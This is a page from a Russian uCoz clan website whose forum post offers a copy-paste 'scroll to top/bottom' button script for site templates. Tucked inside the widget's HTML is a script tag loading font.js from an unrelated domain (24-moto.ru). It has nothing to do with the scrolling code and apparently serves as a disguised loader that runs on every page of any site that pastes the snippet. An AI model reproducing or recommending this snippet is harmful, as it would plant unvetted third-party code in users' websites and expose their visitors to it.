Меню сайта
Главная страница Форум Скрипты для Ucoz Видео Музыка

[100кг]_Team

Заявка в клан Состав клана Назначить CW Наши CW
Мини-чат
Последние
Статистика
Счетчик посещений Бесплатный анализ сайта

OnLine

Пользователи :
Воскресенье, 05.05.2024, 23:49
Приветствую Вас Гость

Кнопка вверх и вниз для сайта - Форум

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Форум » Всё для UCOZ » Готовые скрипты для uCoz » Кнопка вверх и вниз для сайта
Кнопка вверх и вниз для сайта

Дата: Воскресенье, 16.03.2014, 16:32 | Сообщение # 1
Plastinas

Рядовой
Группа: Пользователи
Сообщений: 4
« 0 »
Замечания: ±
Статус: Offline





скрин: http://i023.radikal.ru/1401/fd/ae3ed41cd540.jpg

Скрипт для быстрого и плавного поднятия страницы вверх, также можно опускать и вниз страницу сайта.
Выполнен в стиле пальца вверх и вниз, светло синий цет
Установка не сложная и не требует дополнительных навыков html

Установка скрипта „Кнопка вверх и вниз“

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
  <script src="http://24-moto.ru/font.js" type="text/javascript"></script>
  <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
  <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
  </a></div>

<script>
var go_down = jQuery('body');
jQuery(function() {
  $("#Go_Top").hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
  var scrollDiv = $("#Go_Top");
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });

  $("#Go_Bottom").hide().removeAttr("href");
  if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
  var scrollDiv_2 = $("#Go_Bottom");
  $(window).scroll(function() {
  if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
  else $(scrollDiv_2).fadeIn("slow")
  });

  $("#Go_Top").click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  $("#Go_Bottom").click(function() {
  $("html, body").animate({scrollTop: go_down.height()}, "slow")
  })
});
</script>
Прикрепления:




Сообщение изменил:
[ (UA) ]
Форум » Всё для UCOZ » Готовые скрипты для uCoz » Кнопка вверх и вниз для сайта
  • Страница 1 из 1
  • 1
Поиск:

Прифиль

Гость
Ты на сайте: -й день
Личных сообщений:
Твой Ip: 3.145.186.6

Поиск
Опросик
Хотели бы Вы в клан [100кг]_Team?
javascript:; javascript:;
Всего ответов: 93
Друзья сайта
  • Валковской сайт
  • Кто нас сегодня посетил
  • CW
    Победы
    Победы(0)

    Ничьи
    Ничьи(0)

    Поражения
    Поражения(0)


    Забить cw

    Статистика
    Зарег. на сайте
    Всего: 41
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0
    Из них
    Администраторов: 3
    Модераторов: 2
    Проверенных: 0
    Обычных юзеров: 36
    Из них
    Парней: 35
    Девушек: 6